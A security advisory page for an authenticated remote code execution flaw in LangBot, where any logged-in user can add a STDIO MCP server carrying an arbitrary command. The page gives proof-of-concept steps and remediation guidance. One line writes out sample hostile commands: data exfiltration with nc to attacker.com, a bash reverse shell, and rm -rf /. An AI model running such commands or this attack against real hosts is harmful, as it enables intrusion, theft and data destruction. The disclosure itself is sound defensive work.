Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-reachable UI, low complexity, no user interaction; requires any authenticated account (PR:L), and arbitrary command execution yields full host compromise (C:H/I:H/A:H).
Primary rating from Vendor (https://github.com/langbot-app/LangBot).
CVSS VectorVendor: https://github.com/langbot-app/LangBot
Lifecycle Timeline
3DescriptionCVE.org
Summary
Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.
Details
The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.
Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.
PoC
- Open the LangBot server
- Navigate to Extensions
- Open the "MCP" tab and press "Add"
- Choose an STDIO server configuration
- Add any arbitrary command with arguments
<img width="480" height="538" alt="Screenshot 2026-01-19 at 15 08 43" src="https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd" />
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.
Impact
This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Video POC
https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea
Resources
https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/
AnalysisAI
Authenticated remote code execution in LangBot (pip package 'langbot', versions <= 4.10.5) allows any logged-in user to run arbitrary OS commands on the host by registering a malicious 'STDIO' MCP server through the Extensions > MCP configuration UI. Because LangBot passes the user-supplied command straight to the MCP SDK's StdioServerParameters, which spawns it as a subprocess, an attacker who signs up or uses stolen credentials gains full host takeover. A step-by-step and video proof-of-concept is public (publicly available exploit code exists), though there is no confirmed active exploitation.
Technical ContextAI
LangBot is a Python-based multi-platform LLM chatbot/agent platform that integrates external tools via the Model Context Protocol (MCP). In src/langbot/pkg/provider/tools/loaders/mcp.py it imports StdioServerParameters from Anthropic's open-source 'mcp' SDK; for an STDIO transport, MCP is designed to launch a local child process whose command and arguments come from the server configuration. LangBot exposes this configuration to authenticated end users without restricting or sanitizing the command field, so the design-intended subprocess spawn becomes an arbitrary command-execution primitive. The root cause maps to CWE-77/CWE-78 (OS Command Injection): trusting user-controlled input as an executable command. The affected package is identified by CPE/PURL pkg:pip/langbot.
RemediationAI
No vendor-released patch identified at time of analysis - the advisory lists the fixed version as None, so upgrading is not yet an option and compensating controls are required. Remove LangBot from public internet exposure and place it behind a VPN or IP allowlist so only trusted operators can reach the management UI, since the flaw requires only low-privileged authentication. Disable self-service account registration and enforce strong, unique credentials plus MFA to prevent trivial attacker sign-up or credential-stuffing abuse of the PR:L barrier. Restrict or remove access to the Extensions > MCP configuration feature for non-administrative users, and where possible avoid enabling STDIO-type MCP servers; if STDIO MCP is not needed, block that transport entirely. Run the LangBot process as a low-privileged, sandboxed/containerized user with a read-only filesystem and no outbound network egress to limit the blast radius of any command execution (trade-off: may break legitimate outbound tool integrations). Monitor for the advisory at https://github.com/langbot-app/LangBot/security/advisories/GHSA-3pvh-63gf-j9mw and apply the official fixed release as soon as it is published.
Same weakness CWE-77 – Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-63480
GHSA-3pvh-63gf-j9mw